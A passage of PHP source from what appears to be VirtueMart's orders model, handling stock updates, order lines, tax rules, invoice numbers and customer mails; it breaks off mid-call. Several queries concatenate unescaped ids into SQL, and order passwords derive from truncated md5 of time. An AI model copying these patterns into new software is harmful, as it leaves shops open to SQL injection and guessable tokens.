//vmdebug( 'updatestock qt :' , $quantity.' id :'.$productId); // P Pending // C Confirmed // X Cancelled // R Refunded // S Shipped // N New or coming from cart // TO have no product setted as ordered when added to cart simply delete 'P' FROM array Reserved // don't set same values in the 2 arrays !!! // stockOut is in normal case shipped product //order_stock_handle // 'A' : stock Available // 'O' : stock Out // 'R' : stock reserved // the status decreasing real stock ? // $stockOut = array('S'); if ($StatutWhiteList[$newState]['order_stock_handle'] == 'O') $isOut = 1; else $isOut = 0; if ($StatutWhiteList[$oldState]['order_stock_handle'] == 'O') $wasOut = 1; else $wasOut = 0; // $isOut = in_array($newState, $stockOut); // $wasOut= in_array($oldState, $stockOut); // Stock change ? if ($isOut && !$wasOut) $product_in_stock = '-'; else if ($wasOut && !$isOut ) $product_in_stock = '+'; else $product_in_stock = '='; // the status increasing reserved stock(virtual Stock = product_in_stock - product_ordered) // $Reserved = array('P','C'); if ($StatutWhiteList[$newState]['order_stock_handle'] == 'R') $isReserved = 1; else $isReserved = 0; if ($StatutWhiteList[$oldState]['order_stock_handle'] == 'R') $wasReserved = 1; else $wasReserved = 0; // $isReserved = in_array($newState, $Reserved); // $wasReserved = in_array($oldState, $Reserved); // reserved stock must be change(all ordered product) if ($isReserved && !$wasReserved ) $product_ordered = '+'; else if (!$isReserved && $wasReserved ) $product_ordered = '-'; else $product_ordered = '='; //Here trigger plgVmGetProductStockToUpdateByCustom $productModel = VmModel::getModel('product'); if (!empty($tableOrderItems->product_attribute)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $virtuemart_product_id = $tableOrderItems->virtuemart_product_id; $product_attributes = json_decode($tableOrderItems->product_attribute,true); foreach ($product_attributes as $virtuemart_customfield_id=>$param){ if ($param) { if ($productCustom = VirtueMartModelCustomfields::getProductCustomField ($virtuemart_customfield_id ) ) { if ($productCustom->field_type == "E") { //$product = self::addParam($product); if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); //vmdebug('handleStockAfterStatusChangedPerProduct ',$param); $dispatcher->trigger('plgVmGetProductStockToUpdateByCustom',array(&$tableOrderItems,$param, $productCustom)); } } } } //vmdebug('produit',$product); // we can have more then one product in case of pack // in case of child, ID must be the child ID // TO DO use $prod->amount change for packs(eg. 1 computer and 2 HDD) if (is_array($tableOrderItems)) foreach ($tableOrderItems as $prod ) $productModel->updateStockInDB($prod, $quantity,$product_in_stock,$product_ordered); else $productModel->updateStockInDB($tableOrderItems, $quantity,$product_in_stock,$product_ordered); } else { $productModel->updateStockInDB ($tableOrderItems, $quantity,$product_in_stock,$product_ordered); } } /** * Create the ordered item records * * @author Oscar van Eijk * @author Kohl Patrick * @param integer $_id integer Order ID * @param object $_cart array The cart data * @return boolean True on success */ private function _createOrderLines($_id, $_cart) { $_orderItems = $this->getTable('order_items'); // $_lineCount = 0; foreach ($_cart->products as $priceKey=>$_prod) { if (!is_int($priceKey)) { if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $calculator = calculationHelper::getInstance(); $variantmods = $calculator->parseModifier($priceKey); $row=0 ; //$product_id = (int)$priceKey; $_prod->product_attribute = ''; $product_attribute = array(); //MarkerVarMods //foreach($variantmods as $variant=>$selected){ foreach($variantmods as $selected=>$variant){ if ($selected) { if(!class_exists('VirtueMartModelCustomfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $productCustom = VirtueMartModelCustomfields::getProductCustomField ($selected ); //vmdebug('$_prod,$productCustom',$productCustom ); if ($productCustom->field_type == "E") { if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); //We need something like this $product_attribute[$selected] = $productCustom->virtuemart_custom_id; //but seems we are forced to use this //$product_attribute[$selected] = $selected; if(!empty($_prod->param)){ foreach($_prod->param as $k => $plg){ if ($k == $selected){ //TODO productCartId $product_attribute[$selected] = $plg ; } } } } else { $product_attribute[$selected] = ' '.$productCustom->custom_title.''.$productCustom->custom_value.''; //$product_attribute[$variant] = ' '.$productCustom->custom_title.''.$productCustom->custom_value.''; } } $row++; } //if (isset($_prod->userfield )) $_prod->product_attribute .= '
    '.$_prod->userfield.' : '; $_orderItems->product_attribute = json_encode($product_attribute); //print_r($product_attribute); } else { $_orderItems->product_attribute = null ; } // TODO: add fields for the following data: // * [double] basePrice = 38.48 // * [double] basePriceVariant = 38.48 // * [double] basePriceWithTax = 42.04 // * [double] discountedPriceWithoutTax = 36.48 // * [double] priceBeforeTax = 36.48 // * [double] salesPrice = 39.85 // * [double] salesPriceTemp = 39.85 // * [double] taxAmount = 3.37 // * [double] salesPriceWithDiscount = 0 // * [double] discountAmount = 2.19 // * [double] priceWithoutTax = 36.48 // * [double] variantModification = 0 $_orderItems->virtuemart_order_item_id = null; $_orderItems->virtuemart_order_id = $_id; // $_orderItems->virtuemart_userinfo_id = 'TODO'; //$_cart['BT']['virtuemart_userinfo_id']; // TODO; Add it in the cart... but where is this used? Obsolete? $_orderItems->virtuemart_vendor_id = $_prod->virtuemart_vendor_id; $_orderItems->virtuemart_product_id = $_prod->virtuemart_product_id; $_orderItems->order_item_sku = $_prod->product_sku; $_orderItems->order_item_name = $_prod->product_name; //TODO Patrick $_orderItems->product_quantity = $_prod->quantity; $_orderItems->product_item_price = $_cart->pricesUnformatted[$priceKey]['basePrice']; $_orderItems->product_basePriceWithTax = $_cart->pricesUnformatted[$priceKey]['basePriceWithTax']; $_orderItems->product_priceWithoutTax = $_cart->pricesUnformatted[$priceKey]['priceWithoutTax']; $_orderItems->product_discountedPriceWithoutTax = $_cart->pricesUnformatted[$priceKey]['discountedPriceWithoutTax']; //$_orderItems->product_tax = $_cart->pricesUnformatted[$priceKey]['subtotal_tax_amount']; $_orderItems->product_tax = $_cart->pricesUnformatted[$priceKey]['taxAmount']; $_orderItems->product_final_price = $_cart->pricesUnformatted[$priceKey]['salesPrice']; $_orderItems->product_subtotal_discount = $_cart->pricesUnformatted[$priceKey]['subtotal_discount']; $_orderItems->product_subtotal_with_tax = $_cart->pricesUnformatted[$priceKey]['subtotal_with_tax']; // $_orderItems->order_item_currency = $_prices[$_lineCount]['']; // TODO Currency $_orderItems->order_status = 'P'; if (!$_orderItems->check()) { vmError($this->getError()); return false; } // Save the record to the database if (!$_orderItems->store()) { vmError($this->getError()); return false; } $_prod->virtuemart_order_item_id = $_orderItems->virtuemart_order_item_id; // vmdebug('_createOrderLines',$_prod); $this->handleStockAfterStatusChangedPerProduct( $_orderItems->order_status,'N',$_orderItems,$_orderItems->product_quantity); } //jExit(); return true; } /** * Create the ordered item records * * @author Valerie Isaksen * @param integer $_id integer Order ID * @param object $_cart array The cart data * @return boolean True on success */ private function _createOrderCalcRules($order_id, $_cart) { $productKeys = array_keys($_cart->products); $calculation_kinds = array('DBTax','Tax','VatTax','DATax'); foreach($productKeys as $key){ foreach($calculation_kinds as $calculation_kind) { if(!isset($_cart->pricesUnformatted[$key][$calculation_kind])) continue; $productRules = $_cart->pricesUnformatted[$key][$calculation_kind]; foreach($productRules as $rule){ $orderCalcRules = $this->getTable('order_calc_rules'); $orderCalcRules->virtuemart_order_calc_rule_id= null; $orderCalcRules->virtuemart_calc_id= $rule[7]; $orderCalcRules->virtuemart_order_item_id = $_cart->products[$key]->virtuemart_order_item_id; $orderCalcRules->calc_rule_name = $rule[0]; $orderCalcRules->calc_amount = 0; $orderCalcRules->calc_result = 0; if ($calculation_kind == 'VatTax') { $orderCalcRules->calc_amount = $_cart->pricesUnformatted[$key]['taxAmount']; $orderCalcRules->calc_result = $_cart->cartData['VatTax'][$rule[7]]['result']; } $orderCalcRules->calc_value = $rule[1]; $orderCalcRules->calc_mathop = $rule[2]; $orderCalcRules->calc_kind = $calculation_kind; $orderCalcRules->calc_currency = $rule[4]; $orderCalcRules->calc_params = $rule[5]; $orderCalcRules->virtuemart_vendor_id = $rule[6]; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules check product rule '.$this->getError()); vmdebug('_createOrderCalcRules check product rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store product rule '.$this->getError()); vmdebug('_createOrderCalcRules store product rule '.$this->getError()); return false; } } } } $Bill_calculation_kinds=array('DBTaxRulesBill', 'taxRulesBill', 'DATaxRulesBill'); // vmdebug('_createOrderCalcRules',$_cart ); foreach($Bill_calculation_kinds as $calculation_kind) { // if(empty($_cart->cartData)){ // vmError('Cart data was empty, why?'); // if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); // $calculator = calculationHelper::getInstance(); // $_cart->cartData = $calculator->getCartData(); // } foreach($_cart->cartData[$calculation_kind] as $rule){ $orderCalcRules = $this->getTable('order_calc_rules'); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id= $rule['virtuemart_calc_id']; $orderCalcRules->calc_rule_name= $rule['calc_name']; $orderCalcRules->calc_amount = $_cart->pricesUnformatted[$rule['virtuemart_calc_id'].'Diff']; if ($calculation_kind == 'taxRulesBill' and !empty($_cart->cartData['VatTax'][$rule['virtuemart_calc_id']]['result'])) { $orderCalcRules->calc_result = $_cart->cartData['VatTax'][$rule['virtuemart_calc_id']]['result']; } $orderCalcRules->calc_kind=$calculation_kind; $orderCalcRules->calc_mathop=$rule['calc_value_mathop']; $orderCalcRules->virtuemart_order_id=$order_id; $orderCalcRules->calc_params=$rule['calc_params']; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store bill rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store bill rule '.$this->getError()); return false; } } } if(!empty($_cart->virtuemart_paymentmethod_id)){ $orderCalcRules = $this->getTable('order_calc_rules'); $calcModel = VmModel::getModel('calc'); $calcModel->setId($_cart->pricesUnformatted['payment_calc_id']); $calc = $calcModel->getCalc(); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id = $calc->virtuemart_calc_id; $orderCalcRules->calc_kind = 'payment'; $orderCalcRules->calc_rule_name = $calc->calc_name; $orderCalcRules->calc_amount = $_cart->pricesUnformatted['paymentTax']; $orderCalcRules->calc_value = $calc->calc_value; $orderCalcRules->calc_mathop = $calc->calc_value_mathop; $orderCalcRules->calc_currency = $calc->calc_currency; $orderCalcRules->calc_params = $calc->calc_params; $orderCalcRules->virtuemart_vendor_id = $calc->virtuemart_vendor_id; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store payment rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store payment rule '.$this->getError()); return false; } } if(!empty($_cart->virtuemart_shipmentmethod_id)){ $orderCalcRules = $this->getTable('order_calc_rules'); $calcModel = VmModel::getModel('calc'); $calcModel->setId($_cart->pricesUnformatted['shipment_calc_id']); $calc = $calcModel->getCalc(); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id = $calc->virtuemart_calc_id; $orderCalcRules->calc_kind = 'shipment'; $orderCalcRules->calc_rule_name = $calc->calc_name; $orderCalcRules->calc_amount = $_cart->pricesUnformatted['shipmentTax']; $orderCalcRules->calc_value = $calc->calc_value; $orderCalcRules->calc_mathop = $calc->calc_value_mathop; $orderCalcRules->calc_currency = $calc->calc_currency; $orderCalcRules->calc_params = $calc->calc_params; $orderCalcRules->virtuemart_vendor_id = $calc->virtuemart_vendor_id; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store shipment rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store shipment rule '.$this->getError()); return false; } } //jExit(); return true; } /** * Update the order history * * @author Oscar van Eijk * @param $_id Order ID * @param $_status New order status (default: P) * @param $_notified 1 (default) if the customer was notified, 0 otherwise * @param $_comment (Customer) comment, default empty */ public function _updateOrderHist($_id, $_status = 'P', $_notified = 0, $_comment = '') { $_orderHist = $this->getTable('order_histories'); $_orderHist->virtuemart_order_id = $_id; $_orderHist->order_status_code = $_status; //$_orderHist->date_added = date('Y-m-d G:i:s', time()); $_orderHist->customer_notified = $_notified; $_orderHist->comments = nl2br($_comment); $_orderHist->store(); } /** * Update the order item history * * @author Oscar van Eijk,kohl patrick * @param $_id Order ID * @param $_status New order status (default: P) * @param $_notified 1 (default) if the customer was notified, 0 otherwise * @param $_comment (Customer) comment, default empty */ private function _updateOrderItemHist($_id, $status = 'P', $notified = 1, $comment = '') { $_orderHist = $this->getTable('order_item_histories'); $_orderHist->virtuemart_order_item_id = $_id; $_orderHist->order_status_code = $status; $_orderHist->customer_notified = $notified; $_orderHist->comments = $comment; $_orderHist->store(); } /** * Generate a unique ordernumber. This is done in a similar way as VM1.1.x, although * the reason for this is unclear to me :-S * * @author Oscar van Eijk * @param integer $uid The user ID. Defaults to 0 for guests * @return string A unique ordernumber */ static public function generateOrderNumber($uid = 0,$length=10, $virtuemart_vendor_id=1) { $db = JFactory::getDBO(); $q = 'SELECT COUNT(1) FROM #__virtuemart_orders WHERE `virtuemart_vendor_id`="'.$virtuemart_vendor_id.'"'; $db->setQuery($q); //We can use that here, because the order_number is free to set, the invoice_number must often follow special rules $count = $db->loadResult(); $count = $count + (int)VM_ORDER_OFFSET; // vmdebug('my db creating ordernumber VM_ORDER_OFFSET '.VM_ORDER_OFFSET.' $count '.$count, $this->_db); // $variable_fixed=sprintf("%06s",$num_rows); $data = substr( md5( session_id().(string)time().(string)$uid ) ,0 ,$length ).'0'.$count; return $data; } /* * returns true if an invoice number has been created * returns false if an invoice number has not been created due to some configuration parameters */ function createInvoiceNumber($orderDetails, &$invoiceNumber){ $orderDetails = (array)$orderDetails; $db = JFactory::getDBO(); if(!isset($orderDetails['virtuemart_order_id'])){ vmWarn('createInvoiceNumber $orderDetails has no virtuemart_order_id ',$orderDetails); vmdebug('createInvoiceNumber $orderDetails has no virtuemart_order_id ',$orderDetails); } $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$orderDetails['virtuemart_order_id'].'" '; // AND `order_status` = "'.$orderDetails->order_status.'" '; $db->setQuery($q); $result = $db->loadAssoc(); // vmdebug('my createInvoiceNumber $q '.$q,$result); if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); if(!$result or empty($result['invoice_number']) ){ $data['virtuemart_order_id'] = $orderDetails['virtuemart_order_id']; $data['order_status'] = $orderDetails['order_status']; $data['virtuemart_vendor_id'] = $orderDetails['virtuemart_vendor_id']; JPluginHelper::importPlugin('vmshopper'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); // plugin returns invoice number, 0 if it does not want an invoice number to be created by Vm $plg_datas = $dispatcher->trigger('plgVmOnUserInvoice',array($orderDetails,&$data)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } if(!isset($data['invoice_number']) ) { // check the default configuration $orderstatusForInvoice = VmConfig::get('inv_os',array('C')); if(!is_array($orderstatusForInvoice)) $orderstatusForInvoice = array($orderstatusForInvoice); //for backward compatibility 2.0.8e $pdfInvoice = (int)VmConfig::get('pdf_invoice', 0); // backwards compatible $force_create_invoice=JRequest::getInt('create_invoice', 0); // florian : added if pdf invoice are enabled if ( in_array($orderDetails['order_status'],$orderstatusForInvoice) or $pdfInvoice==1 or $force_create_invoice==1 ){ $q = 'SELECT COUNT(1) FROM `#__virtuemart_invoices` WHERE `virtuemart_vendor_id`= "'.$orderDetails['virtuemart_vendor_id'].'" '; // AND `order_status` = "'.$orderDetails->order_status.'" '; $db->setQuery($q); $count = $db->loadResult()+1; if(empty($data['invoice_number'])) { //$variable_fixed=sprintf("%05s",$num_rows); $date = date("Y-m-d"); // $date = JFactory::getDate()->toMySQL(); $data['invoice_number'] = str_replace('-', '', substr($date,2,8)).substr(md5($orderDetails['order_number'].$orderDetails['order_status']),0,3).'0'.$count; } } else { return false; } } $table = $this->getTable('invoices'); $table->bindChecknStore($data); $invoiceNumber= array($table->invoice_number,$table->created_on); } elseif (ShopFunctions::InvoiceNumberReserved($result['invoice_number']) ) { $invoiceNumber = array($result['invoice_number'],$result['created_on']); return true; } else { $invoiceNumber = array($result['invoice_number'],$result['created_on']); } return true; } /* * @author Valérie Isaksen */ function getInvoiceNumber($virtuemart_order_id){ $db = JFactory::getDBO(); $q = 'SELECT `invoice_number` FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$virtuemart_order_id.'" '; $db->setQuery($q); return $db->loadresult(); } /** * Notifies the customer that the Order Status has been changed * * @author RolandD, Christopher Roussel, Valérie Isaksen, Max Milbers * */ private function notifyCustomer($virtuemart_order_id, $newOrderData = 0 ) { // vmdebug('notifyCustomer', $newOrderData); if (isset($newOrderData['customer_notified']) && $newOrderData['customer_notified']==0) { return true; } if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); //Important, the data of the order update mails, payments and invoice should //always be in the database, so using getOrder is the right method $orderModel=VmModel::getModel('orders'); $order = $orderModel->getOrder($virtuemart_order_id); $payment_name = $shipment_name=''; if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEShipment',array( $order['details']['BT']->virtuemart_order_id, $order['details']['BT']->virtuemart_shipmentmethod_id, &$shipment_name)); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEPayment',array( $order['details']['BT']->virtuemart_order_id, $order['details']['BT']->virtuemart_paymentmethod_id, &$payment_name)); $order['shipmentName']=$shipment_name; $order['paymentName']=$payment_name; if($newOrderData!=0){ //We do not really need that $vars['newOrderData'] = (array)$newOrderData; } $vars['orderDetails']=$order; //$vars['includeComments'] = JRequest::getVar('customer_notified', array()); //I think this is misleading, I think it should always ask for example $vars['newOrderData']['doVendor'] directly //Using this function garantue us that it is always there. If the vendor should be informed should be done by the plugins //We may add later something to the method, defining this better $vars['url'] = 'url'; if(!isset($newOrderData['doVendor'])) $vars['doVendor'] = false; else $vars['doVendor'] = $newOrderData['doVendor']; $virtuemart_vendor_id=1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($virtuemart_vendor_id); $vars['vendor'] = $vendor; $vendorEmail = $vendorModel->getVendorEmail($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorEmail; /* $path = VmConfig::get('forSale_path',0); $orderstatusForInvoice = VmConfig::get('inv_os','C'); $pdfInvoice = VmConfig::get('pdf_invoice', 1); // backwards compatible */ // florian : added if pdf invoice are enabled //if ($this->getInvoiceNumber( $order['details']['BT']->virtuemart_order_id ) ){ $invoiceNumberDate = array(); if ($orderModel->createInvoiceNumber($order['details']['BT'], $invoiceNumberDate )) { $orderstatusForInvoice = VmConfig::get('inv_os',array('C')); if(!is_array($orderstatusForInvoice)) $orderstatusForInvoice = array($orderstatusForInvoice); // for backward compatibility 2.0.8e $pdfInvoice = (int)VmConfig::get('pdf_invoice', 0); // backwards compatible $force_create_invoice=JRequest::getInt('create_invoice', 0); //TODO we need an array of orderstatus if ( (in_array($order['details']['BT']->order_status,$orderstatusForInvoice)) or $pdfInvoice==1 or $force_create_invoice==1 ){ if (!shopFunctions::InvoiceNumberReserved($invoiceNumberDate[0])) { if(!class_exists('VirtueMartControllerInvoice')) require( JPATH_VM_SITE.DS.'controllers'.DS.'invoice.php' ); $controller = new VirtueMartControllerInvoice( array( 'model_path' => JPATH_VM_SITE.DS.'models', 'view_path' => JPATH_VM_SITE.DS.'views' )); $vars['mediaToSend'][] = $controller->getInvoicePDF($order); } } } // Send the email $res = shopFunctionsF::renderMail('invoice', $order['details']['BT']->email, $vars, null,$vars['doVendor'],$this->useDefaultEmailOrderStatus); if(is_object($res) or !$res){ $string = 'COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND'; vmdebug('notifyCustomer function shopFunctionsF::renderMail throws JException'); $res = 0; } //We need this, to prevent that a false alert is thrown. else if ($res and $res!=-1) { $string = 'COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG'; } if($res!=-1){ vmInfo( JText::_($string,false).' '.$order['details']['BT']->first_name.' '.$order['details']['BT']->last_name. ', '.$order['details']['BT']->email); } return true; } /** * Retrieve the details for an order line item. * * @author RickG * @param string $orderId Order id number * @param string $orderLineId Order line item number * @return object Object containing the order item details. */ function getOrderLineDetails($orderId, $orderLineId) { $table = $this->getTable('order_items'); if ($table->load((int)$orderLineId)) { return $table; } else { $table->reset(); $table->virtuemart_order_id = $orderId; return $table; } } /** * Save an order line item. * * @author RickG * @return boolean True of remove was successful, false otherwise */ function saveOrderLineItem($data) { $table = $this->getTable('order_items'); //Done in the table already /* $curDate = JFactory::getDate(); $data['modified_on'] = $curDate->toMySql();*/ if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderLineShipment',array( $data)); foreach ($_returnValues as $_retVal) { if ($_retVal === false) { // Stop as soon as the first active plugin returned a failure status return; } } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderLinePayment',array( $data)); foreach ($_returnValues as $_retVal) { if ($_retVal === false) { // Stop as soon as the first active plugin returned a failure status return; } } $table->bindChecknStore($data); return true; // return true; } /* *remove product from order item table *@var $virtuemart_order_id Order to clear */ function removeOrderItems ($virtuemart_order_id){ $q ='DELETE from `#__virtuemart_order_items` WHERE `virtuemart_order_id` = ' .(int) $virtuemart_order_id; $this->_db->setQuery($q); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } /** * Remove an order line item. * * @author RickG * @param string $orderLineId Order line item number * @return boolean True of remove was successful, false otherwise */ function removeOrderLineItem($orderLineId) { $item = $this->getTable('order_items'); if (!$item->load($orderLineId)) { vmError($item->getError()); return false; } //TODO Why should the stock change, when the order is deleted? Paypal? Valerie? // $this->handleStockAfterStatusChangedPerProduct('C', $item->order_status,$item, $item->product_quantity); if ($item->delete($orderLineId)) { return true; } else { vmError($item->getError()); return false; } } /** * Delete all record ids selected * * @author Max Milbers * @author Patrick Kohl * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); foreach($ids as $id) { // remove order_item and update stock $q = "SELECT `virtuemart_order_item_id` FROM `#__virtuemart_order_items` WHERE `virtuemart_order_id`=".$id; $this->_db->setQuery($q); $item_ids = $this->_db->loadResultArray(); foreach( $item_ids as $item_id ) { $this->removeOrderLineItem($item_id); } // rename invoice number by adding the date, and update the invoice table $this->renameInvoice($id ); if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } } return true; } /** Update order head record * * @author Ondřej Spilka * @author Maik Künnemann * @return boolean True is the update was successful, otherwise false. */ public function UpdateOrderHead($virtuemart_order_id, $_orderData) { $orderTable = $this->getTable('orders'); $orderTable->load($virtuemart_order_id); if (!$orderTable->bindChecknStore($_orderData, true)){ vmError($orderTable->getError()); return false; } $_userInfoData = array(); if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php'); $_userFieldsModel = VmModel::getModel('userfields'); //bill to $_userFieldsBT = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsBT as $_fld) { $_name = $_fld->name; if(isset( $_orderData["BT_{$_name}"])){ $_userInfoData[$_name] = $_orderData["BT_{$_name}"]; } } $_userInfoData['virtuemart_order_id'] = $virtuemart_order_id; $_userInfoData['address_type'] = 'BT'; $order_userinfosTable = $this->getTable('order_userinfos'); $order_userinfosTable->load($virtuemart_order_id, 'virtuemart_order_id'," AND address_type='BT'"); if (!$order_userinfosTable->bindChecknStore($_userInfoData, true)){ vmError($order_userinfosTable->getError()); return false; } //ship to $_userFieldsST = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); $_userInfoData = array(); foreach ($_userFieldsST as $_fld) { $_name = $_fld->name; if(isset( $_orderData["ST_{$_name}"])){ $_userInfoData[$_name] = $_orderData["ST_{$_name}"]; } } $_userInfoData['virtuemart_order_id'] = $virtuemart_order_id; $_userInfoData['address_type'] = 'ST'; $order_userinfosTable = $this->getTable('order_userinfos'); $order_userinfosTable->load($virtuemart_order_id, 'virtuemart_order_id'," AND address_type='ST'"); if (!$order_userinfosTable->bindChecknStore($_userInfoData, true)){ vmError($order_userinfosTable->getError()); return false; } $orderModel = VmModel::getModel('orders'); $order = $orderModel->getOrder($virtuemart_order_id); $dispatcher = JDispatcher::getInstance(); if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } // Update Payment Method if($_orderData['old_virtuemart_paymentmethod_id'] != $_orderData['virtuemart_paymentmethod_id']) { $this->_db->setQuery( 'SELECT `payment_element` FROM `#__virtuemart_paymentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_paymentmethods`.`virtuemart_paymentmethod_id` = `#__virtuemart_orders`.`virtuemart_paymentmethod_id` AND `virtuemart_order_id` = ' . $virtuemart_order_id ); $paymentTable = '#__virtuemart_payment_plg_'. $this->_db->loadResult(); $this->_db->setQuery("DELETE from `". $paymentTable ."` WHERE `virtuemart_order_id` = " . $virtuemart_order_id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } else { JPluginHelper::importPlugin('vmpayment'); } } // Update Shipment Method if($_orderData['old_virtuemart_shipmentmethod_id'] != $_orderData['virtuemart_shipmentmethod_id']) { $this->_db->setQuery( 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = `#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $virtuemart_order_id ); $shipmentTable = '#__virtuemart_shipment_plg_'. $this->_db->loadResult(); $this->_db->setQuery("DELETE from `". $shipmentTable ."` WHERE `virtuemart_order_id` = " . $virtuemart_order_id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } else { JPluginHelper::importPlugin('vmshipment'); } } // JPluginHelper::importPlugin('vmshipment'); // JPluginHelper::importPlugin('vmcustom'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $cart->virtuemart_paymentmethod_id = $_orderData['virtuemart_paymentmethod_id']; $cart->virtuemart_shipmentmethod_id = $_orderData['virtuemart_shipmentmethod_id']; $order['order_status'] = $order['details']['BT']->order_status; $order['customer_notified'] = 0; $order['comments'] = ''; $returnValues = $dispatcher->trigger('plgVmConfirmedOrder', array($cart, $order)); return true; } /** Create empty order head record from admin only * * @author Ondřej Spilka * @return ID of the newly created order */ public function CreateOrderHead() { // TODO // multivendor //usrid $usrid = 0; $_orderData = new stdClass(); $_orderData->virtuemart_order_id = null; $_orderData->virtuemart_user_id = 0; $_orderData->virtuemart_vendor_id = 1; //TODO $_orderData->order_total = 0; $_orderData->order_salesPrice = 0; $_orderData->order_billTaxAmount = 0; $_orderData->order_billDiscountAmount = 0; $_orderData->order_discountAmount = 0; $_orderData->order_subtotal = 0; $_orderData->order_tax = 0; $_orderData->order_shipment = 0; $_orderData->order_shipment_tax = 0; $_orderData->order_payment = 0; $_orderData->order_payment_tax = 0; $_orderData->order_discount = 0; $_orderData->order_status = 'P'; $_orderData->order_currency = $this->getVendorCurrencyId($_orderData->virtuemart_vendor_id); $_orderData->virtuemart_paymentmethod_id = JRequest::getInt('virtuemart_paymentmethod_id'); $_orderData->virtuemart_shipmentmethod_id = JRequest::getInt('virtuemart_shipmentmethod_id'); $_orderData->customer_note = ''; $_orderData->ip_address = $_SERVER['REMOTE_ADDR']; $_orderData->order_number =''; JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $_orderData->order_number = $this->generateOrderNumber($usrid,4,$_orderData->virtuemart_vendor_id); $_orderData->order_pass = 'p_'.substr( md5((string)time().rand(1,1000).$_orderData->order_number ), 0, 5); $orderTable = $this->getTable('orders'); $orderTable -> bindChecknStore($_orderData); $errors = $orderTable->getErrors(); foreach($errors as $error){ vmError($error); } $db = JFactory::getDBO(); $_orderID = $db->insertid(); $_usr = JFactory::getUser(); if (!$this->_writeUserInfo($_orderID, $_usr, array())) { vmError($error); } $orderModel = VmModel::getModel('orders'); $order= $orderModel->getOrder($_orderID); $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('vmcustom'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $returnValues = $dispatcher->trigger('plgVmConfirmedOrder', array($cart, 